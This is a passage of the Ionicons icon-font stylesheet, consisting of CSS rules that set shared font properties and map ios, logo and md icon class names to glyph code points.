.ion-md-recording:before,
.ion-md-redo:before,
.ion-md-refresh:before,
.ion-md-refresh-circle:before,
.ion-md-remove:before,
.ion-md-remove-circle:before,
.ion-md-remove-circle-outline:before,
.ion-md-reorder:before,
.ion-md-repeat:before,
.ion-md-resize:before,
.ion-md-restaurant:before,
.ion-md-return-left:before,
.ion-md-return-right:before,
.ion-md-reverse-camera:before,
.ion-md-rewind:before,
.ion-md-ribbon:before,
.ion-md-rocket:before,
.ion-md-rose:before,
.ion-md-sad:before,
.ion-md-save:before,
.ion-md-school:before,
.ion-md-search:before,
.ion-md-send:before,
.ion-md-settings:before,
.ion-md-share:before,
.ion-md-share-alt:before,
.ion-md-shirt:before,
.ion-md-shuffle:before,
.ion-md-skip-backward:before,
.ion-md-skip-forward:before,
.ion-md-snow:before,
.ion-md-speedometer:before,
.ion-md-square:before,
.ion-md-square-outline:before,
.ion-md-star:before,
.ion-md-star-half:before,
.ion-md-star-outline:before,
.ion-md-stats:before,
.ion-md-stopwatch:before,
.ion-md-subway:before,
.ion-md-sunny:before,
.ion-md-swap:before,
.ion-md-switch:before,
.ion-md-sync:before,
.ion-md-tablet-landscape:before,
.ion-md-tablet-portrait:before,
.ion-md-tennisball:before,
.ion-md-text:before,
.ion-md-thermometer:before,
.ion-md-thumbs-down:before,
.ion-md-thumbs-up:before,
.ion-md-thunderstorm:before,
.ion-md-time:before,
.ion-md-timer:before,
.ion-md-today:before,
.ion-md-train:before,
.ion-md-transgender:before,
.ion-md-trash:before,
.ion-md-trending-down:before,
.ion-md-trending-up:before,
.ion-md-trophy:before,
.ion-md-tv:before,
.ion-md-umbrella:before,
.ion-md-undo:before,
.ion-md-unlock:before,
.ion-md-videocam:before,
.ion-md-volume-high:before,
.ion-md-volume-low:before,
.ion-md-volume-mute:before,
.ion-md-volume-off:before,
.ion-md-walk:before,
.ion-md-wallet:before,
.ion-md-warning:before,
.ion-md-watch:before,
.ion-md-water:before,
.ion-md-wifi:before,
.ion-md-wine:before,
.ion-md-woman:before {
  display: inline-block;
  font-family: "Ionicons";
  speak: none;
  font-style: normal;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  text-rendering: auto;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

.ion-ios-add:before {
  content: "\f102";
}

.ion-ios-add-circle:before {
  content: "\f101";
}

.ion-ios-add-circle-outline:before {
  content: "\f100";
}

.ion-ios-airplane:before {
  content: "\f137";
}

.ion-ios-alarm:before {
  content: "\f3c8";
}

.ion-ios-albums:before {
  content: "\f3ca";
}

.ion-ios-alert:before {
  content: "\f104";
}

.ion-ios-american-football:before {
  content: "\f106";
}

.ion-ios-analytics:before {
  content: "\f3ce";
}

.ion-ios-aperture:before {
  content: "\f108";
}

.ion-ios-apps:before {
  content: "\f10a";
}

.ion-ios-appstore:before {
  content: "\f10c";
}

.ion-ios-archive:before {
  content: "\f10e";
}

.ion-ios-arrow-back:before {
  content: "\f3cf";
}

.ion-ios-arrow-down:before {
  content: "\f3d0";
}

.ion-ios-arrow-dropdown:before {
  content: "\f110";
}

.ion-ios-arrow-dropdown-circle:before {
  content: "\f125";
}

.ion-ios-arrow-dropleft:before {
  content: "\f112";
}

.ion-ios-arrow-dropleft-circle:before {
  content: "\f129";
}

.ion-ios-arrow-dropright:before {
  content: "\f114";
}

.ion-ios-arrow-dropright-circle:before {
  content: "\f12b";
}

.ion-ios-arrow-dropup:before {
  content: "\f116";
}

.ion-ios-arrow-dropup-circle:before {
  content: "\f12d";
}

.ion-ios-arrow-forward:before {
  content: "\f3d1";
}

.ion-ios-arrow-round-back:before {
  content: "\f117";
}

.ion-ios-arrow-round-down:before {
  content: "\f118";
}

.ion-ios-arrow-round-forward:before {
  content: "\f119";
}

.ion-ios-arrow-round-up:before {
  content: "\f11a";
}

.ion-ios-arrow-up:before {
  content: "\f3d8";
}

.ion-ios-at:before {
  content: "\f3da";
}

.ion-ios-attach:before {
  content: "\f11b";
}

.ion-ios-backspace:before {
  content: "\f11d";
}

.ion-ios-barcode:before {
  content: "\f3dc";
}

.ion-ios-baseball:before {
  content: "\f3de";
}

.ion-ios-basket:before {
  content: "\f11f";
}

.ion-ios-basketball:before {
  content: "\f3e0";
}

.ion-ios-battery-charging:before {
  content: "\f120";
}

.ion-ios-battery-dead:before {
  content: "\f121";
}

.ion-ios-battery-full:before {
  content: "\f122";
}

.ion-ios-beaker:before {
  content: "\f124";
}

.ion-ios-bed:before {
  content: "\f139";
}

.ion-ios-beer:before {
  content: "\f126";
}

.ion-ios-bicycle:before {
  content: "\f127";
}

.ion-ios-bluetooth:before {
  content: "\f128";
}

.ion-ios-boat:before {
  content: "\f12a";
}

.ion-ios-body:before {
  content: "\f3e4";
}

.ion-ios-bonfire:before {
  content: "\f12c";
}

.ion-ios-book:before {
  content: "\f3e8";
}

.ion-ios-bookmark:before {
  content: "\f12e";
}

.ion-ios-bookmarks:before {
  content: "\f3ea";
}

.ion-ios-bowtie:before {
  content: "\f130";
}

.ion-ios-briefcase:before {
  content: "\f3ee";
}

.ion-ios-browsers:before {
  content: "\f3f0";
}

.ion-ios-brush:before {
  content: "\f132";
}

.ion-ios-bug:before {
  content: "\f134";
}

.ion-ios-build:before {
  content: "\f136";
}

.ion-ios-bulb:before {
  content: "\f138";
}

.ion-ios-bus:before {
  content: "\f13a";
}

.ion-ios-business:before {
  content: "\f1a3";
}

.ion-ios-cafe:before {
  content: "\f13c";
}

.ion-ios-calculator:before {
  content: "\f3f2";
}

.ion-ios-calendar:before {
  content: "\f3f4";
}

.ion-ios-call:before {
  content: "\f13e";
}

.ion-ios-camera:before {
  content: "\f3f6";
}

.ion-ios-car:before {
  content: "\f140";
}

.ion-ios-card:before {
  content: "\f142";
}

.ion-ios-cart:before {
  content: "\f3f8";
}

.ion-ios-cash:before {
  content: "\f144";
}

.ion-ios-cellular:before {
  content: "\f13d";
}

.ion-ios-chatboxes:before {
  content: "\f3fa";
}

.ion-ios-chatbubbles:before {
  content: "\f146";
}

.ion-ios-checkbox:before {
  content: "\f148";
}

.ion-ios-checkbox-outline:before {
  content: "\f147";
}

.ion-ios-checkmark:before {
  content: "\f3ff";
}

.ion-ios-checkmark-circle:before {
  content: "\f14a";
}

.ion-ios-checkmark-circle-outline:before {
  content: "\f149";
}

.ion-ios-clipboard:before {
  content: "\f14c";
}

.ion-ios-clock:before {
  content: "\f403";
}

.ion-ios-close:before {
  content: "\f406";
}

.ion-ios-close-circle:before {
  content: "\f14e";
}

.ion-ios-close-circle-outline:before {
  content: "\f14d";
}

.ion-ios-cloud:before {
  content: "\f40c";
}

.ion-ios-cloud-circle:before {
  content: "\f152";
}

.ion-ios-cloud-done:before {
  content: "\f154";
}

.ion-ios-cloud-download:before {
  content: "\f408";
}

.ion-ios-cloud-outline:before {
  content: "\f409";
}

.ion-ios-cloud-upload:before {
  content: "\f40b";
}

.ion-ios-cloudy:before {
  content: "\f410";
}

.ion-ios-cloudy-night:before {
  content: "\f40e";
}

.ion-ios-code:before {
  content: "\f157";
}

.ion-ios-code-download:before {
  content: "\f155";
}

.ion-ios-code-working:before {
  content: "\f156";
}

.ion-ios-cog:before {
  content: "\f412";
}

.ion-ios-color-fill:before {
  content: "\f159";
}

.ion-ios-color-filter:before {
  content: "\f414";
}

.ion-ios-color-palette:before {
  content: "\f15b";
}

.ion-ios-color-wand:before {
  content: "\f416";
}

.ion-ios-compass:before {
  content: "\f15d";
}

.ion-ios-construct:before {
  content: "\f15f";
}

.ion-ios-contact:before {
  content: "\f41a";
}

.ion-ios-contacts:before {
  content: "\f161";
}

.ion-ios-contract:before {
  content: "\f162";
}

.ion-ios-contrast:before {
  content: "\f163";
}

.ion-ios-copy:before {
  content: "\f41c";
}

.ion-ios-create:before {
  content: "\f165";
}

.ion-ios-crop:before {
  content: "\f41e";
}

.ion-ios-cube:before {
  content: "\f168";
}

.ion-ios-cut:before {
  content: "\f16a";
}

.ion-ios-desktop:before {
  content: "\f16c";
}

.ion-ios-disc:before {
  content: "\f16e";
}

.ion-ios-document:before {
  content: "\f170";
}

.ion-ios-done-all:before {
  content: "\f171";
}

.ion-ios-download:before {
  content: "\f420";
}

.ion-ios-easel:before {
  content: "\f173";
}

.ion-ios-egg:before {
  content: "\f175";
}

.ion-ios-exit:before {
  content: "\f177";
}

.ion-ios-expand:before {
  content: "\f178";
}

.ion-ios-eye:before {
  content: "\f425";
}

.ion-ios-eye-off:before {
  content: "\f17a";
}

.ion-ios-fastforward:before {
  content: "\f427";
}

.ion-ios-female:before {
  content: "\f17b";
}

.ion-ios-filing:before {
  content: "\f429";
}

.ion-ios-film:before {
  content: "\f42b";
}

.ion-ios-finger-print:before {
  content: "\f17c";
}

.ion-ios-fitness:before {
  content: "\f1ab";
}

.ion-ios-flag:before {
  content: "\f42d";
}

.ion-ios-flame:before {
  content: "\f42f";
}

.ion-ios-flash:before {
  content: "\f17e";
}

.ion-ios-flash-off:before {
  content: "\f12f";
}

.ion-ios-flashlight:before {
  content: "\f141";
}

.ion-ios-flask:before {
  content: "\f431";
}

.ion-ios-flower:before {
  content: "\f433";
}

.ion-ios-folder:before {
  content: "\f435";
}

.ion-ios-folder-open:before {
  content: "\f180";
}

.ion-ios-football:before {
  content: "\f437";
}

.ion-ios-funnel:before {
  content: "\f182";
}

.ion-ios-gift:before {
  content: "\f191";
}

.ion-ios-git-branch:before {
  content: "\f183";
}

.ion-ios-git-commit:before {
  content: "\f184";
}

.ion-ios-git-compare:before {
  content: "\f185";
}

.ion-ios-git-merge:before {
  content: "\f186";
}

.ion-ios-git-network:before {
  content: "\f187";
}

.ion-ios-git-pull-request:before {
  content: "\f188";
}

.ion-ios-glasses:before {
  content: "\f43f";
}

.ion-ios-globe:before {
  content: "\f18a";
}

.ion-ios-grid:before {
  content: "\f18c";
}

.ion-ios-hammer:before {
  content: "\f18e";
}

.ion-ios-hand:before {
  content: "\f190";
}

.ion-ios-happy:before {
  content: "\f192";
}

.ion-ios-headset:before {
  content: "\f194";
}

.ion-ios-heart:before {
  content: "\f443";
}

.ion-ios-heart-dislike:before {
  content: "\f13f";
}

.ion-ios-heart-empty:before {
  content: "\f19b";
}

.ion-ios-heart-half:before {
  content: "\f19d";
}

.ion-ios-help:before {
  content: "\f446";
}

.ion-ios-help-buoy:before {
  content: "\f196";
}

.ion-ios-help-circle:before {
  content: "\f198";
}

.ion-ios-help-circle-outline:before {
  content: "\f197";
}

.ion-ios-home:before {
  content: "\f448";
}

.ion-ios-hourglass:before {
  content: "\f103";
}

.ion-ios-ice-cream:before {
  content: "\f19a";
}

.ion-ios-image:before {
  content: "\f19c";
}

.ion-ios-images:before {
  content: "\f19e";
}

.ion-ios-infinite:before {
  content: "\f44a";
}

.ion-ios-information:before {
  content: "\f44d";
}

.ion-ios-information-circle:before {
  content: "\f1a0";
}

.ion-ios-information-circle-outline:before {
  content: "\f19f";
}

.ion-ios-jet:before {
  content: "\f1a5";
}

.ion-ios-journal:before {
  content: "\f189";
}

.ion-ios-key:before {
  content: "\f1a7";
}

.ion-ios-keypad:before {
  content: "\f450";
}

.ion-ios-laptop:before {
  content: "\f1a8";
}

.ion-ios-leaf:before {
  content: "\f1aa";
}

.ion-ios-link:before {
  content: "\f22a";
}

.ion-ios-list:before {
  content: "\f454";
}

.ion-ios-list-box:before {
  content: "\f143";
}

.ion-ios-locate:before {
  content: "\f1ae";
}

.ion-ios-lock:before {
  content: "\f1b0";
}

.ion-ios-log-in:before {
  content: "\f1b1";
}

.ion-ios-log-out:before {
  content: "\f1b2";
}

.ion-ios-magnet:before {
  content: "\f1b4";
}

.ion-ios-mail:before {
  content: "\f1b8";
}

.ion-ios-mail-open:before {
  content: "\f1b6";
}

.ion-ios-mail-unread:before {
  content: "\f145";
}

.ion-ios-male:before {
  content: "\f1b9";
}

.ion-ios-man:before {
  content: "\f1bb";
}

.ion-ios-map:before {
  content: "\f1bd";
}

.ion-ios-medal:before {
  content: "\f1bf";
}

.ion-ios-medical:before {
  content: "\f45c";
}

.ion-ios-medkit:before {
  content: "\f45e";
}

.ion-ios-megaphone:before {
  content: "\f1c1";
}

.ion-ios-menu:before {
  content: "\f1c3";
}

.ion-ios-mic:before {
  content: "\f461";
}

.ion-ios-mic-off:before {
  content: "\f45f";
}

.ion-ios-microphone:before {
  content: "\f1c6";
}

.ion-ios-moon:before {
  content: "\f468";
}

.ion-ios-more:before {
  content: "\f1c8";
}

.ion-ios-move:before {
  content: "\f1cb";
}

.ion-ios-musical-note:before {
  content: "\f46b";
}

.ion-ios-musical-notes:before {
  content: "\f46c";
}

.ion-ios-navigate:before {
  content: "\f46e";
}

.ion-ios-notifications:before {
  content: "\f1d3";
}

.ion-ios-notifications-off:before {
  content: "\f1d1";
}

.ion-ios-notifications-outline:before {
  content: "\f133";
}

.ion-ios-nuclear:before {
  content: "\f1d5";
}

.ion-ios-nutrition:before {
  content: "\f470";
}

.ion-ios-open:before {
  content: "\f1d7";
}

.ion-ios-options:before {
  content: "\f1d9";
}

.ion-ios-outlet:before {
  content: "\f1db";
}

.ion-ios-paper:before {
  content: "\f472";
}

.ion-ios-paper-plane:before {
  content: "\f1dd";
}

.ion-ios-partly-sunny:before {
  content: "\f1df";
}

.ion-ios-pause:before {
  content: "\f478";
}

.ion-ios-paw:before {
  content: "\f47a";
}

.ion-ios-people:before {
  content: "\f47c";
}

.ion-ios-person:before {
  content: "\f47e";
}

.ion-ios-person-add:before {
  content: "\f1e1";
}

.ion-ios-phone-landscape:before {
  content: "\f1e2";
}

.ion-ios-phone-portrait:before {
  content: "\f1e3";
}

.ion-ios-photos:before {
  content: "\f482";
}

.ion-ios-pie:before {
  content: "\f484";
}

.ion-ios-pin:before {
  content: "\f1e5";
}

.ion-ios-pint:before {
  content: "\f486";
}

.ion-ios-pizza:before {
  content: "\f1e7";
}

.ion-ios-planet:before {
  content: "\f1eb";
}

.ion-ios-play:before {
  content: "\f488";
}

.ion-ios-play-circle:before {
  content: "\f113";
}

.ion-ios-podium:before {
  content: "\f1ed";
}

.ion-ios-power:before {
  content: "\f1ef";
}

.ion-ios-pricetag:before {
  content: "\f48d";
}

.ion-ios-pricetags:before {
  content: "\f48f";
}

.ion-ios-print:before {
  content: "\f1f1";
}

.ion-ios-pulse:before {
  content: "\f493";
}

.ion-ios-qr-scanner:before {
  content: "\f1f3";
}

.ion-ios-quote:before {
  content: "\f1f5";
}

.ion-ios-radio:before {
  content: "\f1f9";
}

.ion-ios-radio-button-off:before {
  content: "\f1f6";
}

.ion-ios-radio-button-on:before {
  content: "\f1f7";
}

.ion-ios-rainy:before {
  content: "\f495";
}

.ion-ios-recording:before {
  content: "\f497";
}

.ion-ios-redo:before {
  content: "\f499";
}

.ion-ios-refresh:before {
  content: "\f49c";
}

.ion-ios-refresh-circle:before {
  content: "\f135";
}

.ion-ios-remove:before {
  content: "\f1fc";
}

.ion-ios-remove-circle:before {
  content: "\f1fb";
}

.ion-ios-remove-circle-outline:before {
  content: "\f1fa";
}

.ion-ios-reorder:before {
  content: "\f1fd";
}

.ion-ios-repeat:before {
  content: "\f1fe";
}

.ion-ios-resize:before {
  content: "\f1ff";
}

.ion-ios-restaurant:before {
  content: "\f201";
}

.ion-ios-return-left:before {
  content: "\f202";
}

.ion-ios-return-right:before {
  content: "\f203";
}

.ion-ios-reverse-camera:before {
  content: "\f49f";
}

.ion-ios-rewind:before {
  content: "\f4a1";
}

.ion-ios-ribbon:before {
  content: "\f205";
}

.ion-ios-rocket:before {
  content: "\f14b";
}

.ion-ios-rose:before {
  content: "\f4a3";
}

.ion-ios-sad:before {
  content: "\f207";
}

.ion-ios-save:before {
  content: "\f1a6";
}

.ion-ios-school:before {
  content: "\f209";
}

.ion-ios-search:before {
  content: "\f4a5";
}

.ion-ios-send:before {
  content: "\f20c";
}

.ion-ios-settings:before {
  content: "\f4a7";
}

.ion-ios-share:before {
  content: "\f211";
}

.ion-ios-share-alt:before {
  content: "\f20f";
}

.ion-ios-shirt:before {
  content: "\f213";
}

.ion-ios-shuffle:before {
  content: "\f4a9";
}

.ion-ios-skip-backward:before {
  content: "\f215";
}

.ion-ios-skip-forward:before {
  content: "\f217";
}

.ion-ios-snow:before {
  content: "\f218";
}

.ion-ios-speedometer:before {
  content: "\f4b0";
}

.ion-ios-square:before {
  content: "\f21a";
}

.ion-ios-square-outline:before {
  content: "\f15c";
}

.ion-ios-star:before {
  content: "\f4b3";
}

.ion-ios-star-half:before {
  content: "\f4b1";
}

.ion-ios-star-outline:before {
  content: "\f4b2";
}

.ion-ios-stats:before {
  content: "\f21c";
}

.ion-ios-stopwatch:before {
  content: "\f4b5";
}

.ion-ios-subway:before {
  content: "\f21e";
}

.ion-ios-sunny:before {
  content: "\f4b7";
}

.ion-ios-swap:before {
  content: "\f21f";
}

.ion-ios-switch:before {
  content: "\f221";
}

.ion-ios-sync:before {
  content: "\f222";
}

.ion-ios-tablet-landscape:before {
  content: "\f223";
}

.ion-ios-tablet-portrait:before {
  content: "\f24e";
}

.ion-ios-tennisball:before {
  content: "\f4bb";
}

.ion-ios-text:before {
  content: "\f250";
}

.ion-ios-thermometer:before {
  content: "\f252";
}

.ion-ios-thumbs-down:before {
  content: "\f254";
}

.ion-ios-thumbs-up:before {
  content: "\f256";
}

.ion-ios-thunderstorm:before {
  content: "\f4bd";
}

.ion-ios-time:before {
  content: "\f4bf";
}

.ion-ios-timer:before {
  content: "\f4c1";
}

.ion-ios-today:before {
  content: "\f14f";
}

.ion-ios-train:before {
  content: "\f258";
}

.ion-ios-transgender:before {
  content: "\f259";
}

.ion-ios-trash:before {
  content: "\f4c5";
}

.ion-ios-trending-down:before {
  content: "\f25a";
}

.ion-ios-trending-up:before {
  content: "\f25b";
}

.ion-ios-trophy:before {
  content: "\f25d";
}

.ion-ios-tv:before {
  content: "\f115";
}

.ion-ios-umbrella:before {
  content: "\f25f";
}

.ion-ios-undo:before {
  content: "\f4c7";
}

.ion-ios-unlock:before {
  content: "\f261";
}

.ion-ios-videocam:before {
  content: "\f4cd";
}

.ion-ios-volume-high:before {
  content: "\f11c";
}

.ion-ios-volume-low:before {
  content: "\f11e";
}

.ion-ios-volume-mute:before {
  content: "\f263";
}

.ion-ios-volume-off:before {
  content: "\f264";
}

.ion-ios-walk:before {
  content: "\f266";
}

.ion-ios-wallet:before {
  content: "\f18b";
}

.ion-ios-warning:before {
  content: "\f268";
}

.ion-ios-watch:before {
  content: "\f269";
}

.ion-ios-water:before {
  content: "\f26b";
}

.ion-ios-wifi:before {
  content: "\f26d";
}

.ion-ios-wine:before {
  content: "\f26f";
}

.ion-ios-woman:before {
  content: "\f271";
}

.ion-logo-android:before {
  content: "\f225";
}

.ion-logo-angular:before {
  content: "\f227";
}

.ion-logo-apple:before {
  content: "\f229";
}

.ion-logo-bitbucket:before {
  content: "\f193";
}

.ion-logo-bitcoin:before {
  content: "\f22b";
}

.ion-logo-buffer:before {
  content: "\f22d";
}

.ion-logo-chrome:before {
  content: "\f22f";
}

.ion-logo-closed-captioning:before {
  content: "\f105";
}

.ion-logo-codepen:before {
  content: "\f230";
}

.ion-logo-css3:before {
  content: "\f231";
}

.ion-logo-designernews:before {
  content: "\f232";
}

.ion-logo-dribbble:before {
  content: "\f233";
}

.ion-logo-dropbox:before {
  content: "\f234";
}

.ion-logo-euro:before {
  content: "\f235";
}

.ion-logo-facebook:before {
  content: "\f236";
}

.ion-logo-flickr:before {
  content: "\f107";
}

.ion-logo-foursquare:before {
  content: "\f237";
}

.ion-logo-freebsd-devil:before {
  content: "\f238";
}

.ion-logo-game-controller-a:before {
  content: "\f13b";
}

.ion-logo-game-controller-b:before {
  content: "\f181";
}

.ion-logo-github:before {
  content: "\f239";
}

.ion-logo-google:before {
  content: "\f23a";
}

.ion-logo-googleplus:before {
  content: "\f23b";
}

.ion-logo-hackernews:before {
  content: "\f23c";
}

.ion-logo-html5:before {
  content: "\f23d";
}

.ion-logo-instagram:before {
  content: "\f23e";
}

.ion-logo-ionic:before {
  content: "\f150";
}

.ion-logo-ionitron:before {
  content: "\f151";
}

.ion-logo-javascript:before {
  content: "\f23f";
}

.ion-logo-linkedin:before {
  content: "\f240";
}

.ion-logo-markdown:before {
  content: "\f241";
}

.ion-logo-model-s:before {
  content: "\f153";
}

.ion-logo-no-smoking:before {
  content: "\f109";
}

.ion-logo-nodejs:before {
  content: "\f242";
}

.ion-logo-npm:before {
  content: "\f195";
}

.ion-logo-octocat:before {
  content: "\f243";
}

.ion-logo-pinterest:before {
  content: "\f244";
}

.ion-logo-playstation:before {
  content: "\f245";
}

.ion-logo-polymer:before {
  content: "\f15e";
}

.ion-logo-python:before {
  content: "\f246";
}

.ion-logo-reddit:before {
  content: "\f247";
}

.ion-logo-rss:before {
  content: "\f248";
}

.ion-logo-sass:before {
  content: "\f249";
}

.ion-logo-skype:before {
  content: "\f24a";
}

.ion-logo-slack:before {
  content: "\f10b";
}

.ion-logo-snapchat:before {
  content: "\f24b";
}

.ion-logo-steam:before {
  content: "\f24c";
}

.ion-logo-tumblr:before {
  content: "\f24d";
}

.ion-logo-tux:before {
  content: "\f2ae";
}

.ion-logo-twitch:before {
  content: "\f2af";
}

.ion-logo-twitter:before {
  content: "\f2b0";
}

.ion-logo-usd:before {
  content: "\f2b1";
}

.ion-logo-vimeo:before {
  content: "\f2c4";
}

.ion-logo-vk:before {
  content: "\f10d";
}

.ion-logo-whatsapp:before {
  content: "\f2c5";
}

.ion-logo-windows:before {
  content: "\f32f";
}

.ion-logo-wordpress:before {
  content: "\f330";
}

.ion-logo-xbox:before {
  content: "\f34c";
}

.ion-logo-xing:before {
  content: "\f10f";
}

.ion-logo-yahoo:before {
  content: "\f34d";
}

.ion-logo-yen:before {
  content: "\f34e";
}

.ion-logo-youtube:before {
  content: "\f34f";
}

.ion-md-add:before {
  content: "\f273";
}

.ion-md-add-circle:before {
  content: "\f272";
}

.ion-md-add-circle-outline:before {
  content: "\f158";
}

.ion-md-airplane:before {
  content: "\f15a";
}

.ion-md-alarm:before {
  content: "\f274";
}

.ion-md-albums:before {
  content: "\f275";
}

.ion-md-alert:before {
  content: "\f276";
}

.ion-md-american-football:before {
  content: "\f277";
}

.ion-md-analytics:before {
  content: "\f278";
}

.ion-md-aperture:before {
  content: "\f279";
}

.ion-md-apps:before {
  content: "\f27a";
}

.ion-md-appstore:before {
  content: "\f27b";
}

.ion-md-archive:before {
  content: "\f27c";
}

.ion-md-arrow-back:before {
  content: "\f27d";
}

.ion-md-arrow-down:before {
  content: "\f27e";
}

.ion-md-arrow-dropdown:before {
  content: "\f280";
}

.ion-md-arrow-dropdown-circle:before {
  content: "\f27f";
}

.ion-md-arrow-dropleft:before {
  content: "\f282";
}

.ion-md-arrow-dropleft-circle:before {
  content: "\f281";
}

.ion-md-arrow-dropright:before {
  content: "\f284";
}

.ion-md-arrow-dropright-circle:before {
  content: "\f283";
}

.ion-md-arrow-dropup:before {
  content: "\f286";
}

.ion-md-arrow-dropup-circle:before {
  content: "\f285";
}

.ion-md-arrow-forward:before {
  content: "\f287";
}

.ion-md-arrow-round-back:before {
  content: "\f288";
}

.ion-md-arrow-round-down:before {
  content: "\f289";
}

.ion-md-arrow-round-forward:before {
  content: "\f28a";
}

.ion-md-arrow-round-up:before {
  content: "\f28b";
}

.ion-md-arrow-up:before {
  content: "\f28c";
}

.ion-md-at:before {
  content: "\f28d";
}

.ion-md-attach:before {
  content: "\f28e";
}

.ion-md-backspace:before {
  content: "\f28f";
}

.ion-md-barcode:before {
  content: "\f290";
}

.ion-md-baseball:before {
  content: "\f291";
}

.ion-md-basket:before {
  content: "\f292";
}

.ion-md-basketball:before {
  content: "\f293";
}

.ion-md-battery-charging:before {
  content: "\f294";
}

.ion-md-battery-dead:before {
  content: "\f295";
}

.ion-md-battery-full:before {
  content: "\f296";
}

.ion-md-beaker:before {
  content: "\f297";
}

.ion-md-bed:before {
  content: "\f160";
}

.ion-md-beer:before {
  content: "\f298";
}

.ion-md-bicycle:before {
  content: "\f299";
}

.ion-md-bluetooth:before {
  content: "\f29a";
}

.ion-md-boat:before {
  content: "\f29b";
}

.ion-md-body:before {
  content: "\f29c";
}

.ion-md-bonfire:before {
  content: "\f29d";
}

.ion-md-book:before {
  content: "\f29e";
}

.ion-md-bookmark:before {
  content: "\f29f";
}

.ion-md-bookmarks:before {
  content: "\f2a0";
}

.ion-md-bowtie:before {
  content: "\f2a1";
}

.ion-md-briefcase:before {
  content: "\f2a2";
}

.ion-md-browsers:before {
  content: "\f2a3";
}

.ion-md-brush:before {
  content: "\f2a4";
}

.ion-md-bug:before {
  content: "\f2a5";
}

.ion-md-build:before {
  content: "\f2a6";
}

.ion-md-bulb:before {
  content: "\f2a7";
}

.ion-md-bus:before {
  content: "\f2a8";
}

.ion-md-business:before {
  content: "\f1a4";
}

.ion-md-cafe:before {
  content: "\f2a9";
}

.ion-md-calculator:before {
  content: "\f2aa";
}

.ion-md-calendar:before {
  content: "\f2ab";
}

.ion-md-call:before {
  content: "\f2ac";
}

.ion-md-camera:before {
  content: "\f2ad";
}

.ion-md-car:before {
  content: "\f2b2";
}

.ion-md-card:before {
  content: "\f2b3";
}

.ion-md-cart:before {
  content: "\f2b4";
}

.ion-md-cash:before {
  content: "\f2b5";
}

.ion-md-cellular:before {
  content: "\f164";
}

.ion-md-chatboxes:before {
  content: "\f2b6";
}

.ion-md-chatbubbles:before {
  content: "\f2b7";
}

.ion-md-checkbox:before {
  content: "\f2b9";
}

.ion-md-checkbox-outline:before {
  content: "\f2b8";
}

.ion-md-checkmark:before {
  content: "\f2bc";
}

.ion-md-checkmark-circle:before {
  content: "\f2bb";
}

.ion-md-checkmark-circle-outline:before {
  content: "\f2ba";
}

.ion-md-clipboard:before {
  content: "\f2bd";
}

.ion-md-clock:before {
  content: "\f2be";
}

.ion-md-close:before {
  content: "\f2c0";
}

.ion-md-close-circle:before {
  content: "\f2bf";
}

.ion-md-close-circle-outline:before {
  content: "\f166";
}

.ion-md-cloud:before {
  content: "\f2c9";
}

.ion-md-cloud-circle:before {
  content: "\f2c2";
}

.ion-md-cloud-done:before {
  content: "\f2c3";
}

.ion-md-cloud-download:before {
  content: "\f2c6";
}

.ion-md-cloud-outline:before {
  content: "\f2c7";
}

.ion-md-cloud-upload:before {
  content: "\f2c8";
}

.ion-md-cloudy:before {
  content: "\f2cb";
}

.ion-md-cloudy-night:before {
  content: "\f2ca";
}

.ion-md-code:before {
  content: "\f2ce";
}

.ion-md-code-download:before {
  content: "\f2cc";
}

.ion-md-code-working:before {
  content: "\f2cd";
}

.ion-md-cog:before {
  content: "\f2cf";
}

.ion-md-color-fill:before {
  content: "\f2d0";
}

.ion-md-color-filter:before {
  content: "\f2d1";
}

.ion-md-color-palette:before {
  content: "\f2d2";
}

.ion-md-color-wand:before {
  content: "\f2d3";
}

.ion-md-compass:before {
  content: "\f2d4";
}

.ion-md-construct:before {
  content: "\f2d5";
}

.ion-md-contact:before {
  content: "\f2d6";
}

.ion-md-contacts:before {
  content: "\f2d7";
}

.ion-md-contract:before {
  content: "\f2d8";
}

.ion-md-contrast:before {
  content: "\f2d9";
}

.ion-md-copy:before {
  content: "\f2da";
}

.ion-md-create:before {
  content: "\f2db";
}

.ion-md-crop:before {
  content: "\f2dc";
}

.ion-md-cube:before {
  content: "\f2dd";
}

.ion-md-cut:before {
  content: "\f2de";
}

.ion-md-desktop:before {
  content: "\f2df";
}

.ion-md-disc:before {
  content: "\f2e0";
}

.ion-md-document:before {
  content: "\f2e1";
}

.ion-md-done-all:before {
  content: "\f2e2";
}

.ion-md-download:before {
  content: "\f2e3";
}

.ion-md-easel:before {
  content: "\f2e4";
}

.ion-md-egg:before {
  content: "\f2e5";
}

.ion-md-exit:before {
  content: "\f2e6";
}

.ion-md-expand:before {
  content: "\f2e7";
}

.ion-md-eye:before {
  content: "\f2e9";
}

.ion-md-eye-off:before {
  content: "\f2e8";
}

.ion-md-fastforward:before {
  content: "\f2ea";
}

.ion-md-female:before {
  content: "\f2eb";
}

.ion-md-filing:before {
  content: "\f2ec";
}

.ion-md-film:before {
  content: "\f2ed";
}

.ion-md-finger-print:before {
  content: "\f2ee";
}

.ion-md-fitness:before {
  content: "\f1ac";
}

.ion-md-flag:before {
  content: "\f2ef";
}

.ion-md-flame:before {
  content: "\f2f0";
}

.ion-md-flash:before {
  content: "\f2f1";
}

.ion-md-flash-off:before {
  content: "\f169";
}

.ion-md-flashlight:before {
  content: "\f16b";
}

.ion-md-flask:before {
  content: "\f2f2";
}

.ion-md-flower:before {
  content: "\f2f3";
}

.ion-md-folder:before {
  content: "\f2f5";
}

.ion-md-folder-open:before {
  content: "\f2f4";
}

.ion-md-football:before {
  content: "\f2f6";
}

.ion-md-funnel:before {
  content: "\f2f7";
}

.ion-md-gift:before {
  content: "\f199";
}

.ion-md-git-branch:before {
  content: "\f2fa";
}

.ion-md-git-commit:before {
  content: "\f2fb";
}

.ion-md-git-compare:before {
  content: "\f2fc";
}

.ion-md-git-merge:before {
  content: "\f2fd";
}

.ion-md-git-network:before {
  content: "\f2fe";
}

.ion-md-git-pull-request:before {
  content: "\f2ff";
}

.ion-md-glasses:before {
  content: "\f300";
}

.ion-md-globe:before {
  content: "\f301";
}

.ion-md-grid:before {
  content: "\f302";
}

.ion-md-hammer:before {
  content: "\f303";
}

.ion-md-hand:before {
  content: "\f304";
}

.ion-md-happy:before {
  content: "\f305";
}

.ion-md-headset:before {
  content: "\f306";
}

.ion-md-heart:before {
  content: "\f308";
}

.ion-md-heart-dislike:before {
  content: "\f167";
}

.ion-md-heart-empty:before {
  content: "\f1a1";
}

.ion-md-heart-half:before {
  content: "\f1a2";
}

